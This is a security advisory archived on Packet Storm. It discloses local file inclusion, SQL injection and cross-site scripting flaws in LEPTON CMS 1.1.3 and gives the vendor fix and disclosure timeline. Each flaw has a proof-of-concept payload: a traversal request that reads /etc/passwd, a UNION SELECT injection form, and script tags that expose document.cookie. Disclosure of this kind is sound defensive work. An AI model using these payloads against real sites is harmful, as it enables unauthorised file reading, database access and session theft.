exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LEPTON 1.1.3 SQL Injection / XSS / Local File Inclusion

LEPTON 1.1.3 SQL Injection / XSS / Local File Inclusion
Posted Feb 16, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

LEPTON version 1.1.3 suffers from cross site scripting, local file inclusion, and remote SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, xss, sql injection, file inclusion
SHA-256 | d12a10e42756a5bf2e8d46644497e1bd8e5a662388c4c27617ed481410aca7d6

LEPTON 1.1.3 SQL Injection / XSS / Local File Inclusion

Change Mirror Download
Advisory ID: HTB23072
Product: LEPTON
Vendor: LEPTON Project
Vulnerable Version(s): 1.1.3 and probably prior
Tested Version: 1.1.3
Vendor Notification: 25 January 2012
Vendor Patch: 4 February 2012
Public Disclosure: 15 February 2012
Vulnerability Type: Local File Inclusion, SQL Injection, Cross Site Scripting (XSS)
Solution Status: Fixed by Vendor
Risk Level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LEPTON, which can be exploited to perform Local File Inclusion, Cross Site Scripting and SQL Injection attacks.

1) Local File Inclusion in LEPTON: CVE-2012-0998

Input passed via the "language" POST parameter to /account/preferences.php is not properly verified before being saved in $_SESSION['language'] when user updates preferences.
Thereafter $_SESSION['language'] is used in include() function and can be exploited to include arbitrary local files via directory traversal and URL-encoded NULL bytes.

The following PoC (Proof of Concept) demostrates the vulnerability:


POST /account/preferences.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_id=[USER_ID]&hash=[HASH]&r_time=[TIME]&save=account_settings&display_name=user&timezone_string=Europe%2FBerlin&date_format=&time_format=&email=test%40test.com&new_password=&new_password2=&current_password=[PASSWORD]&submit=Save&language=../../../etc/passwd%00


Successful exploitation of the vulnerability requires that "magic_quotes_gpc" is off.

2) SQL Injection in LEPTON: CVE-2012-0999

Input passed via the "group_id" POST parameter to /modules/news/rss.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demostrates the vulnerability:


<form action="http://[host]/modules/news/rss.php?page_id=1" method="post">
<input type="hidden" name="group_id" value="0 UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15 -- 2">
<input type="submit" id="btn">
</form>


Successful exploitation of this vulnerability requires that "register_globals" is enabled.

3) Cross Site Scripting (XSS) in LEPTON: CVE-2012-1000

3.1 Input passed via the "message" GET parameters to /admins/login/forgot/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC (Proof of Concept) demostrates the vulnerability:

http://[host]/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

3.2 Input passed via the "display_name" and "email" POST parameters to /account/preferences.php is not properly sanitized before being saved in the database.
An attacker can modify his user profile to perform XSS attack against logged-in website administrator.

The following PoC (Proof of Concept) demostrates the vulnerability:


<form action="http://[host]/account/preferences.php" method="post">
<input type="hidden" name="display_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="save" value="account_settings" />
<input type="hidden" name="hash" value="[HASH]" />
<input type="hidden" name="r_time" value="[TIME]" />
<input type="hidden" name="current_password" value="[PASSWORD]" />
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Lepton 1.1.4 or later.

More information:
http://www.lepton-cms.org/posts/security-release-lepton-1.1.4-52.php

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23072 - https://www.htbridge.ch/advisory/HTB23072 - Multiple vulnerabilities in LEPTON.
[2] LEPTON - http://www.lepton-cms.org/ - LEPTON is an easy-to-use but full customizable Content Management System (CMS).
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close